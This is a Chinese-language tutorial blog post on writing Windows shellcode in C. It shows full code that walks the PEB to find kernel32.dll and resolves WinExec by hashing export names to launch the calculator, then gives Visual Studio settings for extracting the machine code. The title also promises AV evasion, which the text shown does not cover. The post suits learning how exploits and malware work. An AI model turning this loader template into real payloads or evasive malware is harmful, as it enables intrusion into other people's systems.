Windows ShellCode提取加载与免杀

这篇文章仅讲windows下的,linux下比较简单,之后可能会写

shellcode是一段用于利用软件漏洞而执行的代码

编写

首先说明,shellcode编写可以用c也可以直接用汇编来写,但难度不在一个层级,我们选择c》

vs我用的是vs2013,本来用的2008,但是找不到汇编窗口

下面是windows shellcode编写的步骤

获取kernel32.dll 基地址;

定位 GetProcAddress函数的地址;

使用GetProcAddress确定 LoadLibrary函数的地址;

然后使用 LoadLibrary加载DLL文件(例如user32.dll);

使用 GetProcAddress查找某个函数的地址(例如MessageBox);

指定函数参数;

调用函数。

首先要注意shellcode的地址无关原则

char* arr = "test";

我们看到这么写的话 test存放在一个固定地址,而不同windows下的内存地址是不同的,所以我们不能将地址写死

image-20220402141753290

char cmd[] = { 'c','a','l','c','\x00'};

但上面这种写法就不会有固定地址,但这样写需要用\x00来截断

image-20220402141804620

现在地址无关解决,下一步是函数调用,我们需要kernel32.dll 基地址,但是由于ASLR导致dll可以加载到不同的内存位置,需要动态定位

PEB结构位于固定内存位置,所以我们可以通过PEB来获取。

读取PEB结构

跳转到0xC偏移处读取Ldr指针

跳转到0x14偏移处读取 InMemoryOrderModuleList字段

如果你不太懂上面三步,尽量多思考一下下面的内容

进程:是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,可以简单的理解为,计算机中每运行的一个软件都是一个进程。

PEB:是一个位于所有进程内存中固定位置的结构体。此结构体包含关于进程的有用信息,如可执行文件加载到内存的位置,模块列表(DLL),指示进程是否被调试的标志,还有许多其他的信息。

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

上面是微软关于PEB结构体的官方文档,

上面内容的一些概念

BYTE表示1个字节

PVOID表示1个指针(或1个内存地址,ps:一定要弄明白指针这东西,很重要)在0x86中一个地址占四个字节

PPEB_LDR_DATA是1个指针,指向自定义结构体PEB_LDR_DATAPEB_LDR_DATA

BeingDebugged标志是1个字节

Reserved1[2]是两个BYTE的数组,占两个字节

Reserved3[2]是两个PVOID指针的数组,占八个字节

我们重点关注下PEB_LDR_DATA(跳转到0xC偏移处读取Ldr指针 )

跳转偏移计算:2 + 1 + 1 + 8 = 12 = 0xC

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

关注LIST_ENTRY InMemoryOrderModuleList(跳转到0x14偏移处读取 InMemoryOrderModuleList字段)

跳转偏移计算:8 + 12 = 20 = 0x14

typedef struct _LIST_ENTRY {
  struct _LIST_ENTRY  *Flink;
  struct _LIST_ENTRY  *Blink;
} LIST_ENTRY, *PLIST_ENTRY;

LIST_ENTRY结构是一个简单的双向链表,包含指向下一个元素(Flink)的指针和指向上一个元素的指针(Blink)

InMemoryOrderModuleList字段是一个指针,指向LDR_DATA_TABLE_ENTRY 结构体上的LIST_ENTRY字段。但是它不是指向

LDR_DATA_TABLE_ENTRY 起始位置的指针,而是指向这个结构的InMemoryOrderLinks字段。

上面操作完到了内存首个模块的InMemoryOrderLinks元素,这个模块是一个可执行文件(.exe),我们需要去遍历加载到内存的dll文件。

具体通过InMemoryOrderModuleList.Flink来访问第二个已加载的模块,通过循环操作就可以遍历所有已加载的模块

calc.exe

ntdll.dll

kernel32.dll

当我们通过遍历得到kernel32.dll后就可以完成下面操作了

获取kernel32.dll 基地址;

定位 GetProcAddress函数的地址;

使用GetProcAddress确定 LoadLibrary函数的地址;

然后使用 LoadLibrary加载DLL文件(例如user32.dll);

使用 GetProcAddress查找某个函数的地址(例如MessageBox);

指定函数参数;

调用函数。

这边有个代码模版,如果你实在不会写可以参考这个模版来理解上述操作

#include<Windows.h>
#include<winnt.h>
#include<winternl.h>

DWORD getHash(char* str) {
	DWORD h = 0;
	while (*str) {
		h = (h >> 13) | (h << (32 - 13));
		h += *str >= 'a' ? *str - 32 : *str;
		str++;
	}
	return h;
}
DWORD getunicodeHash(wchar_t* str) {
	DWORD h = 0;
	PWORD ptr = (PWORD)str;
	while (*ptr) {
		h = (h >> 13) | (h << (32 - 13));
		h += (BYTE)(*ptr) >= 'a' ? (BYTE)(*ptr) - 32 : (BYTE)(*ptr);
		ptr++;
	}
	return h;
}
PVOID getWinExec() {
	char dllname[] = { 'K','E','R','N','E','L','3','2','.','D','L','L','\x00' };
	char api[] = { 'W','i','n','E','x','e','c','\x00' };
	_PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
	LIST_ENTRY* first = peb->Ldr->InMemoryOrderModuleList.Flink;
	LIST_ENTRY* ptr = first;
	do {
		LDR_DATA_TABLE_ENTRY* dte = (LDR_DATA_TABLE_ENTRY*)((BYTE*)ptr - 0x8);
		BYTE* baseAddress = (BYTE*)dte->DllBase;
		ptr = ptr->Flink;
		if (!baseAddress)
			continue;
		PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
		PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(baseAddress + dosHeader->e_lfanew);
		DWORD iedRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
		if (!iedRVA)
			continue;
		PIMAGE_EXPORT_DIRECTORY ied = (PIMAGE_EXPORT_DIRECTORY)(baseAddress + iedRVA);
		if (getunicodeHash(((decltype(dte->FullDllName)*)(DWORD*)&(dte->Reserved4))->Buffer) == getHash(dllname)) {
			DWORD* nameRVAs = (DWORD*)(baseAddress + ied->AddressOfNames);
			for (DWORD i = 0; i < ied->NumberOfNames; i++) {
				char* funcName = (char*)(baseAddress + nameRVAs[i]);
				if (getHash(funcName) == getHash(api)) {
					WORD ordinal = ((WORD*)(baseAddress + ied->AddressOfNameOrdinals))[i];
					DWORD functionRVA = ((DWORD*)(baseAddress + ied->AddressOfFunctions))[ordinal];
					return baseAddress + functionRVA;
				}
			}
		}
	} while (ptr != first);
	return NULL;
}
void func() {
	char exec[] = { 'c','a','l','c','\x00'};
	decltype(WinExec)* myWinExec = (decltype(WinExec)*)getWinExec();
	myWinExec(exec, 0);
}
int main()
{
	func();
	return 0;
}

上面代码执行完之后会弹出windows计算器

这里不讲windows可利用shellcode的编写,cs,msf都已经提供了很好用的shellcode

提取

shellcode的提取

使用c++开发代码

更改VisualStudio编译配置

生成exe

在IDA下打开生成的exe,获得机器码

开发代码我们已经完成了,接下来是编译

配置编译选项,下面很多是默认的

release在调试工具栏

使大小最小化

项目 - (你项目名称的)属性 - c/c++ - 优化 - 最大优化(优选大小)

内联函数扩展

项目 - (你项目名称的)属性 - c/c++ - 优化 - 函数扩展(只适用于_inline(Ob1))

启用内部函数

项目 - (你项目名称的)属性 - c/c++ - 优化 - 启用函数选择(是)

禁用安全检查(/Gs-)

项目 - (你项目名称的)属性 - c/c++ - 代码生成 - 安全检查(禁用)

启用函数级链接

项目 - (你项目名称的)属性 - c/c++ - 代码生成 - 启用函数级链接(是)

增量链接

项目 - (你项目名称的)属性 - 链接器 - 常规 -启用增量链接 (否)

生成映射文件

项目 - (你项目名称的)属性 - 链接器 - 调试 - 生成映射文件 (是)

映射文件名随便写

启用COMDAT折叠

项目 - (你项目名称的)属性 - 链接器 - 优化 - 启用COMDAT折叠(是)

函数顺序

项目 - (你项目名称的)属性 - 链接器 - 优化 - 函数顺序 (function_order.txt)

关闭SDL检查

项目 - (你项目名称的)属性 - c/c++ - SDL检查改为否

生成exe文件,用ida打开


Windows ShellCode提取加载与免杀
http://example.com/article/570c6a7.html
Author
p1yang
Posted on
September 7, 2021
Licensed under